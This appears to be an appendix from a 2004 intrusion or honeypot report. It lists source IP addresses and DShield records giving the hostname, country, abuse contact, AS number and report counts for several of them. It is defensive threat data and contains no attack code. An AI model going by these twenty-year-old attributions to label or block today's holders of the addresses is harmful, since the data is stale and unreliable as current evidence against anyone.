218.72.217.112
218.73.11.88
218.73.15.165
218.73.15.215
218.73.15.41

218.73.2.125
218.74.215.25
218.74.76.34
218.74.76.36
218.74.77.219
218.75.0.246
218.75.197.110
218.75.240.157
218.76.110.186
218.76.236.46
218.76.236.78
218.77.53.179
218.80.200.10
218.84.123.104
218.85.61.148
218.88.1.140
218.88.11.170
218.88.12.113
218.88.12.171
218.88.13.208
218.88.16.44
218.88.16.5
218.88.3.112
218.88.3.24
218.88.64.144
218.88.7.196
218.88.8.61
218.89.146.119
218.9.228.241
218.92.217.30
218.93.134.227
218.93.42.110
218.93.48.90
218.93.57.68
218.93.58.133
218.93.59.83
218.93.91.127
218.93.91.7
218.94.63.194
218.98.103.76
219.108.5.2
219.128.33.217
219.128.34.205
219.128.35.176
219.130.241.79
219.130.40.150

219.130.5.209
219.130.5.27
219.137.56.237
219.137.57.137
219.137.70.68
219.137.71.149
219.139.29.234
219.139.66.196
219.140.91.124
219.140.95.161
219.145.162.51
219.153.118.186
219.156.217.42
219.189.8.13
219.233.102.97
219.72.254.18
220.160.15.107
220.173.11.220
220.173.13.165
220.173.17.142
220.173.20.118
220.173.22.222
220.173.55.171
220.173.8.131
220.173.94.6
220.174.168.75
220.174.170.176
220.175.17.226
220.175.19.66
220.175.20.147
220.185.139.233
220.185.142.245
220.185.143.171
220.185.144.86
220.185.146.184
220.185.150.168
220.185.151.235
220.185.152.6
220.185.153.45
220.185.154.194
220.185.154.251
220.185.154.90
220.185.158.29
220.185.168.178
220.185.184.1
220.185.184.150

220.185.26.170
220.185.26.236
220.185.26.92
220.185.28.177
220.185.7.185
220.187.67.180
220.187.69.71
220.187.88.244
220.188.188.22
220.188.190.69
220.188.64.145
220.197.37.33
220.73.165.204
220.73.165.76
220.97.4.31
221.136.124.216
221.193.241.59
221.193.34.243
221.197.175.37
221.197.55.173
221.199.13.178
221.200.88.52
221.209.80.199
221.209.80.76
221.209.81.224
221.209.81.68
221.210.83.238
221.210.83.59
221.210.88.114
221.210.89.239
221.226.19.37
221.228.67.230
221.232.89.58
221.232.94.133
221.233.49.125
221.233.55.249
221.233.65.147
221.233.73.1
221.7.192.11
222.136.0.135
222.136.0.212
222.144.249.159
222.84.28.244
222.84.72.11
24.130.117.218
24.15.123.138

24.201.201.176
24.27.236.35
24.59.47.200
61.130.212.222
61.130.214.89
61.130.219.8
61.144.119.66
61.170.185.121
61.170.192.116
61.170.201.98
61.170.224.202
61.170.224.8
61.170.225.102
61.171.12.185
61.171.13.151
61.171.13.172
61.171.13.36
61.171.132.125
61.171.132.44
61.171.132.96
61.171.133.177
61.171.133.2
61.171.134.121
61.171.134.148
61.171.134.216
61.171.134.92
61.171.135.243
61.171.138.55
61.171.140.10
61.171.143.52
61.171.15.154
61.171.15.201
61.171.165.26
61.171.197.7
61.171.202.96
61.172.105.77
61.172.64.142
61.173.46.23
61.174.238.153
61.174.238.169
61.177.75.254
61.179.12.121
61.181.112.12
61.181.112.28
61.182.133.64
61.187.13.14

61.187.14.150
61.187.14.197
61.187.15.134
61.191.169.222
61.191.169.94
61.232.53.7
61.233.11.29
61.235.138.214
61.235.153.1
61.236.192.227
61.237.215.17
61.42.14.55
61.52.75.222
61.53.76.40
61.55.175.129
61.55.188.186
61.55.2.184
61.55.32.129
61.55.33.165
61.55.34.128
61.55.55.90
62.109.113.95
66.133.251.98
68.16.164.147
69.167.68.140
69.56.230.182
69.93.129.98
69.93.162.10
80.119.5.52
80.134.86.147
80.140.110.157
80.140.120.149
80.142.89.209
80.54.144.221
80.54.146.135
80.54.241.22
80.54.99.130
80.61.143.89
80.80.160.29
81.227.100.166
83.76.118.248

B DShield records

```
IP Address: 12.214.6.125
HostName: 12-214-6-125.client.mchsi.com
DShield Profile:
Country:                  US   US
Contact E-mail:           abuse@att.net
AS Number:                0
Total Records against IP:  50
Number of targets:         6
Date Range:               2004-04-01 to 2004-04-08

IP Address: 193.226.6.229
HostName: c3.campus.utcluj.ro
DShield Profile:
Country:                  RO   RO
Contact E-mail:           jim@utcluj.ro
AS Number:                2614
Total Records against IP:  687
Number of targets:         63
Date Range:               2004-04-01 to 2004-04-23

IP Address: 195.238.52.1
HostName: 195-238-52-1.direcpceu.com
DShield Profile:
Country:                  DE   DE
Contact E-mail:           G_Hardt@hnsltd.hns.com
AS Number:                12440
Total Records against IP:  1220
Number of targets:         100
Date Range:               2004-04-01 to 2004-04-23

IP Address: 202.205.89.188
HostName: 202.205.89.188
DShield Profile:
Country:                  CN   CN
Contact E-mail:           address-allocation-staff@net.edu.cn
AS Number:                4538
Total Records against IP:  7
Number of targets:         2
Date Range:                    2004-04-01 to 2004-04-10

IP Address: 203.93.63.245
HostName: info.gb.com.cn
DShield Profile:
```

```
Country:                    CN   CN
Contact E-mail:             hostmaster@apnic.net
AS Number:                  4799
Total Records against IP:   28
Number of targets:          1
Date Range:                 2004-04-01 to 2004-04-21

IP Address: 208.190.202.194
HostName: adsl-208-190-202-194.dsl.kscymo.swbell.net
DShield Profile:
Country:                    US   US
Contact E-mail:             abuse@swbell.net
AS Number:                  7132
Total Records against IP:   5
Number of targets:          3
Date Range:                   not reports

IP Address: 211.167.236.157
HostName: 211.167.236.157
DShield Profile:
Country:                    CN   CN
Contact E-mail:             pol@public3.bta.net.cn
AS Number:                  4808
Total Records against IP:   38
Number of targets:          5
Date Range:                 2004-04-01 to 2004-04-14

IP Address: 217.85.77.155
HostName: pD9554D9B.dip.t-dialin.net
DShield Profile:
Country:                    DE   DE
Contact E-mail:             abuse@t-ipnet.de
AS Number:                  3320
Total Records against IP:   2
Number of targets:          1
Date Range:                 2004-04-01 to 2004-04-13

IP Address: 218.22.141.172
HostName: 218.22.141.172
DShield Profile:
Country:                    CN   CN
Contact E-mail:             abuse@chinanet.cn.net
AS Number:                  4134
Total Records against IP:   1688
Number of targets:          144
Date Range:                 2004-04-01 to 2004-04-23
```

```
IP Address: 219.72.254.18
HostName: 219.72.254.18
DShield Profile:
Country:                  CN   CN
Contact E-mail:
AS Number:                18118
Total Records against IP:  11
Number of targets:         2
Date Range:               2004-04-01 to 2004-04-19

IP Address: 221.7.192.11
HostName: 221.7.192.11
DShield Profile:
Country:                  CN   CN
Contact E-mail:           abuse@cnc-noc.net
AS Number:                4837
Total Records against IP:  352
Number of targets:         25
Date Range:               2004-04-01 to 2004-04-23

IP Address: 4.10.252.182
HostName: evrtwa1-ar12-4-10-252-182.evrtwa1.dsl-verizon.net
DShield Profile:
Country:                  US   US
Contact E-mail:           abuse@genuity.com
AS Number:                0
Total Records against IP:  49
Number of targets:         9
Date Range:               2004-04-01 to 2004-04-05

IP Address: 61.177.79.92
HostName: 61.177.79.92
DShield Profile:
Country:                  CN   CN
Contact E-mail:           abuse@jsinfo.net
AS Number:                23650
Total Records against IP:  1
Number of targets:         1
Date Range:               2004-04-01 to 2004-04-01

IP Address: 61.179.12.117
HostName: 61.179.12.117
DShield Profile:
Country:                  CN   CN
Contact E-mail:
```

```
AS Number:                4837
Total Records against IP:  466
Number of targets:         30
Date Range:               2004-04-01 to 2004-04-23

IP Address: 61.179.12.118
HostName: 61.179.12.118
DShield Profile:
Country:                  CN   CN
Contact E-mail:
AS Number:                4837
Total Records against IP:  272
Number of targets:         54
Date Range:               2004-04-01 to 2004-04-23

IP Address: 61.187.14.197
HostName: 61.187.14.197
DShield Profile:
Country:                  CN   CN
Contact E-mail:           liul@hnpta.net.cn
AS Number:                4134
Total Records against IP:  7
Number of targets:         4
Date Range:               2004-04-01 to 2004-04-01

IP Address: 61.237.215.17
HostName: 61.237.215.17
DShield Profile:
Country:                  CN   CN
Contact E-mail:           crnet_mgr@crc.net.cn
AS Number:                9394
Total Records against IP:  16
Number of targets:         2
Date Range:               2004-04-01 to 2004-04-08

IP Address: 66.36.242.145
HostName: sls-db1p13.dca2.superb.net
DShield Profile:
Country:                  US   US
Contact E-mail:           Abuse@hopone.net
AS Number:                14361
Total Records against IP:  4
Number of targets:         1
Date Range:               2004-04-01 to 2004-04-08

IP Address: 68.48.142.117
```

```
HostName: pcp01791418pcs.hyatsv01.md.comcast.net
DShield Profile:
Country:                    US   US
Contact E-mail:             abuse@comcast.net
AS Number:                  22909
Total Records against IP:   126
Number of targets:          6
Date Range:                 2004-04-01 to 2004-04-04

IP Address: 69.41.243.42
HostName: 42.69-41-243.reverse.theplanet.com
DShield Profile:
Country:                    0   0
Contact E-mail:
AS Number:                  0
Total Records against IP:   1492
Number of targets:          14
Date Range:                 2004-04-01 to 2004-04-23
```